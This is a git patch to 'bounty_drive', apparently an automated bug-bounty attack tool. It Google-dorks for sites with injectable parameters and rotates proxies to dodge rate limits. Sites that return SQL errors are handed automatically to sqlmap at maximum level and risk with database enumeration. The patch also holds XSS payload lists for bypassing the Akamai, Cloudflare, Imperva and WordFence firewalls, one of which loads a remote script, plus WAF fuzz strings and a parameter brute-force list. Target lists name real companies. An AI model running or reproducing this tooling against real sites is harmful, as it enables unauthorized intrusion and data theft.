From 145212fa47009e64422956860b1124a19f065f9a Mon Sep 17 00:00:00 2001 From: ElNiak Date: Mon, 17 Jun 2024 21:02:07 +0200 Subject: [PATCH] update to have result csv + adding config file --- bounty_drive/attacks/dorks/github_dorking.py | 60 +- .../dorks/google/sqli/SQLi-parameters.txt | 25 + .../attacks/dorks/google/xss/XSS-Dork.txt | 10 +- .../dorks/google/xss/xss-parameters.txt | 25 + bounty_drive/attacks/dorks/google_dorking.py | 412 +++++----- .../xss => to_check}/XSS-HTML-CGPT.txt | 0 bounty_drive/attacks/sqli/sqli.py | 84 ++- .../xss/payloads/Akamai_XSS_payloads.txt | 6 +- .../xss/payloads/Cloudflare_xss_payloads.txt | 18 +- .../xss/payloads/Imperva_xss_payloads.txt | 14 +- .../xss/payloads/WordFence_xss_payloads.txt | 11 +- bounty_drive/attacks/xss/xss.py | 705 +++++++++++++++--- bounty_drive/bounty_drive.py | 683 +++++++---------- bounty_drive/config.ini | 1 - bounty_drive/configs/config.ini | 60 ++ bounty_drive/proxies/sharkvpn-proxy-list.txt | 0 bounty_drive/proxies/sharkvpn_login.csv | 0 bounty_drive/reports/screenshots/.gitkeep | 0 bounty_drive/target_earlywarnings.txt | 18 + bounty_drive/target_fireblock.txt | 4 + bounty_drive/target_indrive.txt | 1 + bounty_drive/target_netflix.txt | 15 + .../{target.txt => target_reddit.txt} | 0 bounty_drive/utils/app_config.py | 67 +- bounty_drive/utils/nord_vpn_config.py | 1 - bounty_drive/utils/proxies.py | 155 ---- bounty_drive/utils/proxies_manager.py | 217 ++++++ bounty_drive/utils/request_manager.py | 202 ++--- bounty_drive/utils/results_manager.py | 217 ++++-- bounty_drive/utils/vpn_manager.py | 32 + bounty_drive/utils/waf_mitigation.py | 16 +- bounty_drive/utils/web_scraper.py | 195 ++++- requirements.txt | 1 + test.html | 318 ++++++++ 34 files changed, 2308 insertions(+), 1265 deletions(-) create mode 100644 bounty_drive/attacks/dorks/google/sqli/SQLi-parameters.txt create mode 100644 bounty_drive/attacks/dorks/google/xss/xss-parameters.txt rename bounty_drive/attacks/dorks/{google/xss => to_check}/XSS-HTML-CGPT.txt (100%) delete mode 100644 bounty_drive/config.ini create mode 100644 bounty_drive/configs/config.ini create mode 100644 bounty_drive/proxies/sharkvpn-proxy-list.txt create mode 100644 bounty_drive/proxies/sharkvpn_login.csv create mode 100644 bounty_drive/reports/screenshots/.gitkeep create mode 100644 bounty_drive/target_earlywarnings.txt create mode 100644 bounty_drive/target_fireblock.txt create mode 100644 bounty_drive/target_indrive.txt create mode 100644 bounty_drive/target_netflix.txt rename bounty_drive/{target.txt => target_reddit.txt} (100%) delete mode 100644 bounty_drive/utils/nord_vpn_config.py delete mode 100644 bounty_drive/utils/proxies.py create mode 100644 bounty_drive/utils/proxies_manager.py create mode 100644 bounty_drive/utils/vpn_manager.py diff --git a/bounty_drive/attacks/dorks/github_dorking.py b/bounty_drive/attacks/dorks/github_dorking.py index 5bd7ecf..6dd65d1 100644 --- a/bounty_drive/attacks/dorks/github_dorking.py +++ b/bounty_drive/attacks/dorks/github_dorking.py @@ -1,4 +1,3 @@ - ######################################################################################### # Github Dorking and searching functions ######################################################################################### @@ -13,36 +12,45 @@ from termcolor import cprint from utils.github_config import GITHUB_API_URL, TOKENS_LIST -from utils.app_config import * +from utils.app_config import * token_index = 0 + def token_round_robin(): global token_index token = TOKENS_LIST[token_index] token_index = (token_index + 1) % len(TOKENS_LIST) return token + # URL Encoding Function def __urlencode(str): - return str.replace(':', '%3A').replace('"', '%22').replace(' ', '+') + return str.replace(":", "%3A").replace('"', "%22").replace(" ", "+") + def rate_limit_handler(headers): - if 'X-RateLimit-Reset' in headers: - reset_time = datetime.fromtimestamp(int(headers['X-RateLimit-Reset'])) - wait_time = (reset_time - datetime.now()).total_seconds() + 10 # Adding 10 seconds buffer + if "X-RateLimit-Reset" in headers: + reset_time = datetime.fromtimestamp(int(headers["X-RateLimit-Reset"])) + wait_time = ( + reset_time - datetime.now() + ).total_seconds() + 10 # Adding 10 seconds buffer print(f"Rate limit hit. Waiting for {wait_time} seconds.") time.sleep(wait_time) - + + def get_rate_limit_status(): headers = {"Authorization": f"token {token_round_robin()}"} response = requests.get(f"{GITHUB_API_URL}/rate_limit", headers=headers) if response.status_code == 200: - rate_limit = response.json()['rate'] - print(f"Limit: {rate_limit['limit']}, Remaining: {rate_limit['remaining']}, Reset: {datetime.fromtimestamp(rate_limit['reset'])}") + rate_limit = response.json()["rate"] + print( + f"Limit: {rate_limit['limit']}, Remaining: {rate_limit['remaining']}, Reset: {datetime.fromtimestamp(rate_limit['reset'])}" + ) else: print("Failed to fetch rate limit status") - + + # TODO def github_search_with_proxy(dork_tuple, proxy, category, retries=3, advanced=False): # TODO advanced search @@ -54,16 +62,22 @@ def github_search_with_proxy(dork_tuple, proxy, category, retries=3, advanced=Fa full_query = f"{query} {extension}".strip() base_url = f"{GITHUB_API_URL}/search/code?q=" + __urlencode(extension + " " + query) headers = { - 'User-Agent': random.choice(USER_AGENTS), - "Authorization": f"token {token_round_robin()}" + "User-Agent": random.choice(USER_AGENTS), + "Authorization": f"token {token_round_robin()}", } - proxies = {'http': proxy, 'https': proxy} + proxies = {"http": proxy, "https": proxy} urls = [] for _ in range(retries): try: - cprint(f"Searching for {full_query} ({category}) with proxy {proxy}...", 'yellow', file=sys.stderr) - response = requests.get(base_url, headers=headers, params=params, proxies=proxies, timeout=10) - + cprint( + f"Searching for {full_query} ({category}) with proxy {proxy}...", + "yellow", + file=sys.stderr, + ) + response = requests.get( + base_url, headers=headers, params=params, proxies=proxies, timeout=10 + ) + # Parse soup = BeautifulSoup(response.text, "html.parser") result_block = soup.find_all("div", attrs={"class": "g"}) @@ -71,16 +85,17 @@ def github_search_with_proxy(dork_tuple, proxy, category, retries=3, advanced=Fa # Find link, title, description link = result.find("a", href=True) title = result.find("h3") - description_box = result.find( - "div", {"style": "-webkit-line-clamp:2"}) + description_box = result.find("div", {"style": "-webkit-line-clamp:2"}) if description_box: description = description_box.text if link and title and description: if advanced: - urls.append(SearchResult(link["href"], title.text, description)) + urls.append( + SearchResult(link["href"], title.text, description) + ) else: urls.append(link["href"]) - + # Placeholder for URL extraction logic return category, urls # Return the category and a placeholder result except requests.exceptions.RequestException as e: @@ -89,5 +104,6 @@ def github_search_with_proxy(dork_tuple, proxy, category, retries=3, advanced=Fa return category, None # Indicate failure after retries -def load_github_dorks_and_search(extension=DEFAULT_EXTENSION, total_output=DEFAULT_TOTAL_OUTPUT, page_no=DEFAULT_PAGE_NO, proxies=None): - pass \ No newline at end of file + +# def load_github_dorks_and_search(extension=DEFAULT_EXTENSION, total_output=DEFAULT_TOTAL_OUTPUT, page_no=DEFAULT_PAGE_NO, proxies=None): +# pass diff --git a/bounty_drive/attacks/dorks/google/sqli/SQLi-parameters.txt b/bounty_drive/attacks/dorks/google/sqli/SQLi-parameters.txt new file mode 100644 index 0000000..3e372bb --- /dev/null +++ b/bounty_drive/attacks/dorks/google/sqli/SQLi-parameters.txt @@ -0,0 +1,25 @@ +?id= +?page= +?dir= +?search= +?category= +?file= +?class= +?url= +?news= +?item= +?menu= +?lang= +?name= +?ref= +?title= +?view= +?topic= +?thread= +?type= +?date= +?form= +?join= +?main= +?nav= +?region= diff --git a/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt b/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt index ed12bfb..2a5bf2a 100644 --- a/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt +++ b/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt @@ -8,14 +8,14 @@ /index.php?view=help&faq=1&ref= /info.asp?page=fullstory&key=1&news_type=news&onvan= /info.asp?page=fullstory&key=1&news_type=news&onvan= -/main.php?sid= /main.php?sid= -/news.php?id= /news.php?id= -/notice.php?msg= /notice.php?msg= +/main.php?sid= +/news.php?id= +/notice.php?msg= /preaspjobboard//Employee/emp_login.asp?msg1= /schoolmv2/html/studentmain.php?session= /search.php?search_keywords= /search.php?search_keywords= -/ser/parohija.php?id= /ser/parohija.php?id= -/showproperty.php?id= /showproperty.php?id= +/ser/parohija.php?id= +/showproperty.php?id= /site_search.php?sfunction= /site_search.php?sfunction= /strane/pas.php?id= /strane/pas.php?id= /vehicle/buy_do_search/?order_direction= diff --git a/bounty_drive/attacks/dorks/google/xss/xss-parameters.txt b/bounty_drive/attacks/dorks/google/xss/xss-parameters.txt new file mode 100644 index 0000000..98ce7d1 --- /dev/null +++ b/bounty_drive/attacks/dorks/google/xss/xss-parameters.txt @@ -0,0 +1,25 @@ +?q= +?s= +?search= +?id= +?lang= +?keyword= +?query= +?page= +?keywords= +?year= +?view= +?email= +?type= +?name= +?p= +?month= +?image= +?list_type= +?url= +?terms= +?categoryid= +?key= +?login= +?begindate= +?enddate= diff --git a/bounty_drive/attacks/dorks/google_dorking.py b/bounty_drive/attacks/dorks/google_dorking.py index 0e4d633..69b8cc3 100644 --- a/bounty_drive/attacks/dorks/google_dorking.py +++ b/bounty_drive/attacks/dorks/google_dorking.py @@ -6,147 +6,174 @@ import glob import random import threading -import time +import requests from tqdm import tqdm import sys import re import concurrent.futures from termcolor import cprint -from attacks.dorks.dorking_config import dorking_config from utils.app_config import ( - DEFAULT_TOTAL_OUTPUT, - EXTENSION, - LANG, - POTENTIAL_PATHS, - TOTAL_OUTPUT, USER_AGENTS, - use_nordvpn, ) -from utils.nord_vpn_config import * -from utils.proxies import round_robin_proxies -from utils.request_manager import param_converter, start_request -from utils.results_manager import safe_add_result -from nordvpn_switcher.nordvpn_switch import initialize_VPN, rotate_VPN, terminate_VPN +from utils.web_scraper import parse_google_search_results, render_js_and_get_text +from utils.proxies_manager import prepare_proxies, round_robin_proxies +from utils.request_manager import param_converter, start_request +from utils.results_manager import get_processed_dorks, safe_add_result -def change_vpn(time=300): - rotate_VPN() - time.sleep(time) +dork_id_lock = threading.Lock() def google_search_with_proxy( - dork_tuple, + dork_query, proxy, category, + config, + domain, retries=1, advanced=False, - total_output=TOTAL_OUTPUT, - generated_dorks=True, - secured=False, + dork_id=0, ): - try: - query, extension, category = dork_tuple - except ValueError: - query = dork_tuple - extension = "" - base_url = "https://www.google.com/search" - headers = { - "User-Agent": random.choice(USER_AGENTS), + if not config: + raise Exception("Config file should be provided") + + proxies = prepare_proxies(proxy, config) + + full_query = generate_dork_query(dork_query, config, domain) + + params = prepare_params(config) + + dork_id = perform_searches( + full_query, + proxies, + category, + params, + retries, + config, + advanced, + dork_id, + use_session=not (proxy == None), + ) + + return dork_id + + +def prepare_params(config): + return { + "client": "ubuntu-sn", + "channel": "fs", + "num": config["total_output"], + "hl": config["lang"], } - if "username:password" in proxy: - nord_vpn_user_pass = random.choice(nord_vpn_login) - proxy = proxy.replace("username", nord_vpn_user_pass[0]).replace( - "password", nord_vpn_user_pass[1] - ) - proxies = {"https": proxy} - secured = True - else: - proxies = {"http": proxy, "https": proxy} - if generated_dorks: - full_query = generate_dork_query(query, extension) - else: - full_query = query - - if isinstance(full_query, list): - for q in full_query: - # Threat data as path - is_json = False - # url = param_converter(data, url) # TODO - data = None - GET, POST = True, False - params = { - # "client": "ubuntu-sn", - # "channel": "fs", - "q": q, - "num": total_output, # Prevents multiple requests - "hl": LANG, - } - - urls = None - for retry_no in range(retries): - urls = start_request( +def perform_searches( + full_query, + proxies, + category, + params, + retries, + config, + advanced, + dork_id, + use_session, +): + + params["q"] = full_query + dork_id = execute_search_with_retries( + full_query, + proxies, + category, + params, + retries, + config, + advanced, + dork_id, + use_session=use_session, + ) + + return dork_id + + +def execute_search_with_retries( + query, + proxies, + category, + params, + retries, + config, + advanced, + dork_id, + use_session=False, +): + base_url = "https://www.google.com/search" + headers = {"User-Agent": random.choice(USER_AGENTS)} + for retry_no in range(retries): + if use_session: + cprint( + f"Searching for GET - Session (n° {retry_no}): {base_url} \n\t - parameters {params} \n\t - headers {headers} \n\t - {category} - with proxy {proxies} ...", + "yellow", + file=sys.stderr, + ) + with requests.Session() as session: + response = start_request( + config=config, proxies=proxies, - advanced=advanced, - GET=GET, - data=data, + base_url=base_url, + GET=True, headers=headers, params=params, - base_url=base_url, - full_query=q, - is_json=is_json, - category=category, - scrap_urls=True, - retry_no=retry_no, - secured=secured, + is_json=False, + secured=True if "socks" in proxies["https"] else False, + session=session, + cookies={ + "CONSENT": "PENDING+987", + "SOCS": "CAESHAgBEhJnd3NfMjAyMzA4MTAtMF9SQzIaAmRlIAEaBgiAo_CmBg", + }, ) - if urls: - result = category, urls, q - safe_add_result(result) - return - else: - # Threat data as path - is_json = False - # url = param_converter(data, url) # TODO - data = None - GET, POST = True, False - params = { - # "client": "ubuntu-sn", - # "channel": "fs", - "q": full_query, - "num": total_output, # Prevents multiple requests - "hl": LANG, - } - - urls = None - for retry_no in range(retries): - urls = start_request( + else: + cprint( + f"Searching for GET (n° {retry_no}): {base_url} \n\t - parameters {params} \n\t - headers {headers} \n\t - {category} - with proxy {proxies} ...", + "yellow", + file=sys.stderr, + ) + response = start_request( + config=config, proxies=proxies, - advanced=advanced, - GET=GET, - data=data, + base_url=base_url, + GET=True, headers=headers, params=params, - base_url=base_url, - full_query=full_query, - is_json=is_json, - category=category, - scrap_urls=True, - retry_no=retry_no, - secured=secured, + is_json=False, + secured=True if "socks" in proxies["https"] else False, + cookies={ + "CONSENT": "PENDING+987", + "SOCS": "CAESHAgBEhJnd3NfMjAyMzA4MTAtMF9SQzIaAmRlIAEaBgiAo_CmBg", + }, ) - if urls: - result = category, urls, full_query - safe_add_result(result) - return - - result = category, urls, full_query - safe_add_result(result) - return + if response: + urls = parse_google_search_results(proxies, advanced, query, response.text) + if not urls or len(urls) == 0: + cprint( + f"Parsing for google search failed for {query} - retrying with selenium...", + "red", + file=sys.stderr, + ) + html_content = render_js_and_get_text( + param_converter(params, url=base_url) + ) + urls = parse_google_search_results( + proxies, advanced, query, html_content + ) + result = dork_id, category, urls, query + safe_add_result(result, config) + with dork_id_lock: + dork_id += 1 + # TODO to be faster also record non functionnal dork + return dork_id google_dork_tags = [ @@ -184,120 +211,153 @@ def google_search_with_proxy( ] -def generate_dork_query(query, extension): +def generate_dork_query(query, config, domain): # Clean up the query by removing existing inurl: and intext: tags - for tag in ["inurl:", "intext:"]: - query = query.replace(tag, "") + if len(query) > 0: + for tag in ["inurl:", "intext:"]: + query = query.replace(tag, "") - # Ensure the query is properly enclosed in quotes if it contains quotes - # if '"' in query: - if not query.startswith('"'): - query = '"' + query - if not query.endswith('"'): - query = query + '"' + # Ensure the query is properly enclosed in quotes if it contains quotes + # if '"' in query: + if not query.startswith('"'): + query = '"' + query + if not query.endswith('"'): + query = query + '"' - in_url_query = "inurl:" + query - in_text_query = "intext:" + query + in_url_query = "inurl:" + query + in_text_query = "intext:" + query - query = in_url_query + " | " + in_text_query + query = in_url_query + " | " + in_text_query - query = query + " | " # + "inurl:&" + query = query # + " | " # + "inurl:&" # Incorporate subdomain into the search query if specified - if len(dorking_config.SUBDOMAIN) > 0: + if domain: # Remove any existing site: tag and its value full_query = [] query = re.sub(r"site:[^\s]+", "", query) - for domain in dorking_config.SUBDOMAIN: - to_search = f"site:{domain}" - full_query.append(f"({to_search}) & ({query})".strip()) + to_search = f"site:{domain}" + if len(query) > 0: + full_query = f"({to_search}) & ({query})".strip() + else: + full_query = f"({to_search})".strip() else: full_query = f"({query})".strip() - if extension and len(extension) > 0: - if isinstance(extension, full_query): - full_query_copy = [] - for q in full_query: - q = q + f" & filetype:{q}" - full_query_copy.append(q) - full_query = full_query_copy - else: - full_query = full_query + f" & filetype:{extension}" + if config["extension"] and len(config["extension"]) > 0: + full_query = full_query + f" & filetype:{config['extension']}" return full_query # Indicate failure after retries -def load_google_dorks_and_search(extensions=None, proxies=None): - if proxies and len(proxies) < 1: - cprint( - f"Using proxies -> you should have at least one UP", - "red", - file=sys.stderr, - ) - exit() +def filter_search_tasks(search_tasks, processed_dorks): + """ + Filters out the already processed dorks from search tasks. + """ + filtered_tasks = {} + for category, dorks in search_tasks.items(): + filtered_tasks[category] = [ + dork for dork in dorks if dork not in processed_dorks + ] + return filtered_tasks - proxy_cycle = round_robin_proxies(proxies) + +def load_google_dorks_and_search(config, categories): + proxies, proxy_cycle = get_proxies_and_cycle(config) search_tasks = {} - for cate in POTENTIAL_PATHS.keys(): - search_tasks[cate] = [] - category_mapping = search_tasks.keys() - for category in category_mapping: + for category in categories: + search_tasks[category] = [] dork_files = glob.glob(f"attacks/dorks/google/{category}/*.txt", recursive=True) for dork_file in dork_files: with open(dork_file, "r") as file: lines = file.readlines() - dorks = [(line.strip(), EXTENSION, category) for line in lines] - # Separate tasks by category before shuffling - # if len(search_tasks[category]) == 0: + dorks = [line.strip() for line in lines] search_tasks[category] += dorks - # else: - # search_tasks[category][0][0].append(dorks[0][0]) # TODO cla - - # Now shuffle the dorks within each category - search_tasks_fill = [] - for cat in search_tasks: - random.shuffle(search_tasks[cat]) - for elem in search_tasks[cat]: - search_tasks_fill.append((elem, cat)) cprint( - f"Total number of dorks: {len(search_tasks_fill)}", "yellow", file=sys.stderr + f"Total number of dorks: {sum([len(search_tasks[task]) for task in search_tasks])}", + "yellow", + file=sys.stderr, + ) + processed_dorks = get_processed_dorks(config) + search_tasks = filter_search_tasks(search_tasks, processed_dorks) + cprint( + f"Number of dorks to process: {sum([len(search_tasks[task]) for task in search_tasks])}", + "yellow", + file=sys.stderr, ) - if use_nordvpn: + if not search_tasks: + cprint(f"No dorks to process.", "red", file=sys.stderr) + return + + if config["use_vpn"]: + raise NotImplementedError( + "VPN is not supported in this version - Error in library" + ) thread = threading.Thread(target=change_vpn) thread.start() - # Now, append a proxy to each task - number_of_worker = min(len(proxies), 30) # /2 + number_of_worker = min(len(proxies), 30) cprint(f"Number of workers: {number_of_worker}", "yellow", file=sys.stderr) + search_tasks_with_proxy = [] - for task, cat in search_tasks_fill: - proxy = next(proxy_cycle) - search_tasks_with_proxy.append({"dork": task, "proxy": proxy, "category": cat}) + for task in search_tasks: + for domain in config["subdomain"]: + for dork in search_tasks[task]: + proxy = next(proxy_cycle) + search_tasks_with_proxy.append( + {"dork": dork, "proxy": proxy, "category": task, "domain": domain} + ) + cprint( + f"Total number of dorks: {len(search_tasks_with_proxy)}", + "yellow", + file=sys.stderr, + ) with concurrent.futures.ThreadPoolExecutor( max_workers=number_of_worker ) as executor: future_to_search = { executor.submit( - google_search_with_proxy, task["dork"], task["proxy"], task["category"] + google_search_with_proxy, + task["dork"], + task["proxy"], + task["category"], + config, + task["domain"], ): task for task in search_tasks_with_proxy } for future in tqdm( concurrent.futures.as_completed(future_to_search), - total=len(future_to_search) - * ( - 1 - if len(dorking_config.SUBDOMAIN) == 0 - else len(dorking_config.SUBDOMAIN) - ), + total=len(future_to_search), desc="Searching for vulnerable website", unit="site", - # leave=True, - # position=0, ): + # task = future_to_search[future] + # try: future.result() + + +def get_proxies_and_cycle(config): + proxies = config["proxies"] + if config["use_proxy"] and len(proxies) == 0: + cprint( + f"Using proxies -> you should have at least one UP", + "red", + file=sys.stderr, + ) + exit() + + if not config["use_proxy"]: + proxies = [None] + + proxy_cycle = round_robin_proxies(proxies) + return proxies, proxy_cycle + # update_csv(config["experiment_file_path"], task, success=True) + # except Exception as e: + # cprint(f"Error processing {task['dork']}: {e}", "red", file=sys.stderr) + # # update_csv(config["experiment_file_path"], task, success=False) diff --git a/bounty_drive/attacks/dorks/google/xss/XSS-HTML-CGPT.txt b/bounty_drive/attacks/dorks/to_check/XSS-HTML-CGPT.txt similarity index 100% rename from bounty_drive/attacks/dorks/google/xss/XSS-HTML-CGPT.txt rename to bounty_drive/attacks/dorks/to_check/XSS-HTML-CGPT.txt diff --git a/bounty_drive/attacks/sqli/sqli.py b/bounty_drive/attacks/sqli/sqli.py index 7f78c98..1b3da86 100644 --- a/bounty_drive/attacks/sqli/sqli.py +++ b/bounty_drive/attacks/sqli/sqli.py @@ -1,4 +1,3 @@ - ######################################################################################### # SQLi Vulnerability testing functions ######################################################################################### @@ -9,8 +8,7 @@ from tqdm import tqdm from urllib3 import Retry from requests.adapters import HTTPAdapter -from utils.app_config import POTENTIAL_PATHS, VULN_PATHS -from utils.proxies import round_robin_proxies +from utils.proxies_manager import round_robin_proxies def run_sqlmap(url, proxy): @@ -22,56 +20,70 @@ def run_sqlmap(url, proxy): # Example command, customize it based on your needs command = [ "sqlmap", - "-u", url, - "--proxy", proxy, + "-u", + url, + "--proxy", + proxy, "--batch", - "--level", "5", # Level of tests to perform (1-5) - "--risk", "3", # Risk of tests to perform (1-3) + "--level", + "5", # Level of tests to perform (1-5) + "--risk", + "3", # Risk of tests to perform (1-3) # Additional flags for a full analysis can be added here - "--dbs", # Enumerate DBMS databases - "--threads", "10" # Use 10 threads + "--dbs", # Enumerate DBMS databases + "--threads", + "10" # Use 10 threads # "--all" can be used for a full scan, but be cautious as it is very intrusive ] # Add additional parameters as needed. '--batch' is used to run sqlmap without user inputs (non-interactive mode). - + # Running sqlmap - result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - + result = subprocess.run( + command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True + ) + # cprint or process the result cprint(f"Results for {url}:") cprint(result.stdout) - with open(f"{url.replace('://', '_').replace('/', '_')}.txt", "w") as output_file: + with open( + f"{url.replace('://', '_').replace('/', '_')}.txt", "w" + ) as output_file: output_file.write(result.stdout) - + # Handling errors if any if result.stderr: cprint(f"Errors/Warnings for {url}:") cprint(result.stderr) - + except Exception as e: cprint(f"Error running sqlmap on {url}: {e}") - + + def test_sqli_with_proxy(url_proxy): """ Test a single website for SQL injection vulnerability using a specified proxy. """ - url, proxy = url_proxy + url, proxy = url_proxy proxies_dict = {"http": proxy, "https": proxy} - - init_char = ['\'', '"'] - + + init_char = ["'", '"'] + vuln = None - + for char in init_char: - test_url = url + char # TODO test more payloads + test_url = url + char # TODO test more payloads try: # TODO add cookie support session = requests.Session() - retries = Retry(total=3, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504]) - session.mount('http://', HTTPAdapter(max_retries=retries)) - session.mount('https://', HTTPAdapter(max_retries=retries)) + retries = Retry( + total=3, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504] + ) + session.mount("http://", HTTPAdapter(max_retries=retries)) + session.mount("https://", HTTPAdapter(max_retries=retries)) cprint(f"Testing {test_url} for SQLi with proxy {proxy}...") - response = session.get(test_url, proxies=proxies_dict, timeout=15) # Test other methods + response = session.get( + test_url, proxies=proxies_dict, timeout=15 + ) # Test other methods if "SQL syntax" in response.text: cprint(f"{url} ===> Vulnerable ?") run_sqlmap(url) @@ -80,27 +92,29 @@ def test_sqli_with_proxy(url_proxy): vuln = False except requests.RequestException as e: pass - + return url, vuln # Error or can't determine + def test_vulnerability_sqli(proxies): """ Test a list of websites for SQL injection vulnerability using multithreading and proxies. """ VULN_PATHS["sqli"][1] = [] - + # The code snippet provided is written in Python and performs the following tasks: - + proxy_cycle = round_robin_proxies(proxies) - - for website in tqdm(POTENTIAL_PATHS["sqli"][1], desc="Testing for SQLi", unit="site"): + + for website in tqdm( + POTENTIAL_PATHS["sqli"][1], desc="Testing for SQLi", unit="site" + ): proxy = next(proxy_cycle) url, result = test_sqli_with_proxy(website, proxy) if result is True: - cprint(f"{url} ===> Vulnerable!", 'green', file=sys.stderr) + cprint(f"{url} ===> Vulnerable!", "green", file=sys.stderr) VULN_PATHS["sqli"][1].append(url) elif result is False: - cprint(f"{url} ===> Not Vulnerable", 'red', file=sys.stderr) + cprint(f"{url} ===> Not Vulnerable", "red", file=sys.stderr) else: - cprint(f"{url} ===> Can not be Determined", 'blue', file=sys.stderr) - + cprint(f"{url} ===> Can not be Determined", "blue", file=sys.stderr) diff --git a/bounty_drive/attacks/xss/payloads/Akamai_XSS_payloads.txt b/bounty_drive/attacks/xss/payloads/Akamai_XSS_payloads.txt index 725a564..0539520 100644 --- a/bounty_drive/attacks/xss/payloads/Akamai_XSS_payloads.txt +++ b/bounty_drive/attacks/xss/payloads/Akamai_XSS_payloads.txt @@ -5,16 +5,14 @@ "%3balert`1`%3b" asd"`> onpointerenter=x=prompt,x`XSS` click -click -@niksthehacker +click click click \"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+Object.prototype.BOOMR = 1;Object.prototype.url='https://portswigger-labs.net/xss/xss.js' -https://portswigger.net/web-security/cross-site-scripting/cheat-sheet -">Click -@stealthybugs +">Click diff --git a/bounty_drive/attacks/xss/payloads/Cloudflare_xss_payloads.txt b/bounty_drive/attacks/xss/payloads/Cloudflare_xss_payloads.txt index e8b89e3..2d1a0e1 100644 --- a/bounty_drive/attacks/xss/payloads/Cloudflare_xss_payloads.txt +++ b/bounty_drive/attacks/xss/payloads/Cloudflare_xss_payloads.txt @@ -12,15 +12,15 @@ javascript:{ alert`0` } -“> (working) -test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic -"onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic -"> (working)- @IamRenganathan +test",prompt%0A/*HelloWorld*/(document.domain) +"onx+%00+onpointerenter%3dalert(domain)+x" +"> %27%09);%0d%0a%09%09[1].find(alert)// -"> - @itsgeekymonk - -@zapstiko - (working) -@aufzayed - -@ex_mi +"> + + + \ No newline at end of file diff --git a/bounty_drive/attacks/xss/payloads/Imperva_xss_payloads.txt b/bounty_drive/attacks/xss/payloads/Imperva_xss_payloads.txt index 7edbc0a..8e88f27 100644 --- a/bounty_drive/attacks/xss/payloads/Imperva_xss_payloads.txt +++ b/bounty_drive/attacks/xss/payloads/Imperva_xss_payloads.txt @@ -1,9 +1,9 @@ -clickme (working)-Pinaki @0xInfection(Make sure to URL encode the payload properly) -tarun">click (workin)Pinaki @0xInfection (Make sure the applications decodes the payload from encoded) -
- @xsspayloads + +tarun"> +
-click Pinaki @0xInfection - -@AldenAous -tap + + + diff --git a/bounty_drive/attacks/xss/payloads/WordFence_xss_payloads.txt b/bounty_drive/attacks/xss/payloads/WordFence_xss_payloads.txt index c1ea8cb..42fdee0 100644 --- a/bounty_drive/attacks/xss/payloads/WordFence_xss_payloads.txt +++ b/bounty_drive/attacks/xss/payloads/WordFence_xss_payloads.txt @@ -1,7 +1,6 @@ -ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli ->
" -@manjith27945363 ->> -@manjith27945363 -Wordfence 7.4.2 - -@brutelogic +ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 +>
" +>> + please%20click%20here diff --git a/bounty_drive/attacks/xss/xss.py b/bounty_drive/attacks/xss/xss.py index 5819eaa..84ca272 100644 --- a/bounty_drive/attacks/xss/xss.py +++ b/bounty_drive/attacks/xss/xss.py @@ -7,28 +7,203 @@ import sys import concurrent.futures import threading +import time +from urllib.parse import urlparse +import bs4 import requests from termcolor import cprint from tqdm import tqdm +from attacks.dorks.google_dorking import get_proxies_and_cycle from utils.web_scraper import scrape_links_from_url -from utils.proxies import round_robin_proxies +from utils.proxies_manager import prepare_proxies, round_robin_proxies from utils.waf_mitigation import waf_detector -from utils.app_config import POTENTIAL_PATHS, USER_AGENTS, VULN_PATHS +from utils.app_config import ( + USER_AGENTS, +) from utils.request_manager import inject_params, inject_payload -from utils.nord_vpn_config import * try: from selenium import webdriver + from selenium.webdriver.common.by import By from selenium.webdriver.chrome.service import Service - from webdriver_manager.chrome import ChromeDriverManager + from selenium.webdriver.chrome.options import Options + from selenium.webdriver.support.ui import WebDriverWait + from selenium.webdriver.support import expected_conditions as EC except ImportError: print( "Selenium and webdriver_manager modules not found. Please make sure they are installed." ) sys.exit(1) +blindParams = [ # common paramtere names to be bruteforced for parameter discovery + "redirect", + "redir", + "url", + "link", + "goto", + "debug", + "_debug", + "test", + "get", + "index", + "src", + "source", + "file", + "frame", + "config", + "new", + "old", + "var", + "rurl", + "return_to", + "_return", + "returl", + "last", + "text", + "load", + "email", + "mail", + "user", + "username", + "password", + "pass", + "passwd", + "first_name", + "last_name", + "back", + "href", + "ref", + "data", + "input", + "out", + "net", + "host", + "address", + "code", + "auth", + "userid", + "auth_token", + "token", + "error", + "keyword", + "key", + "q", + "query", + "aid", + "bid", + "cid", + "did", + "eid", + "fid", + "gid", + "hid", + "iid", + "jid", + "kid", + "lid", + "mid", + "nid", + "oid", + "pid", + "qid", + "rid", + "sid", + "tid", + "uid", + "vid", + "wid", + "xid", + "yid", + "zid", + "cal", + "country", + "x", + "y", + "topic", + "title", + "head", + "higher", + "lower", + "width", + "height", + "add", + "result", + "log", + "demo", + "example", + "message", +] + +fuzzes = ( # Fuzz strings to test WAFs + "", + "", + "", + "", + "
", + "", + "", + "", response) + sinkFound, sourceFound = False, False + for script in scripts: + script = script.split("\n") + num = 1 + allControlledVariables = set() + try: + for newLine in script: + line = newLine + parts = line.split("var ") + controlledVariables = set() + if len(parts) > 1: + for part in parts: + for controlledVariable in allControlledVariables: + if controlledVariable in part: + controlledVariables.add( + re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part) + .group() + .replace("$", "\$") + ) + pattern = re.finditer(sources, newLine) + for grp in pattern: + if grp: + source = newLine[grp.start() : grp.end()].replace(" ", "") + if source: + if len(parts) > 1: + for part in parts: + if source in part: + controlledVariables.add( + re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part) + .group() + .replace("$", "\$") + ) + line = line.replace(source, yellow + source + end) + for controlledVariable in controlledVariables: + allControlledVariables.add(controlledVariable) + for controlledVariable in allControlledVariables: + matches = list( + filter(None, re.findall(r"\b%s\b" % controlledVariable, line)) + ) + if matches: + 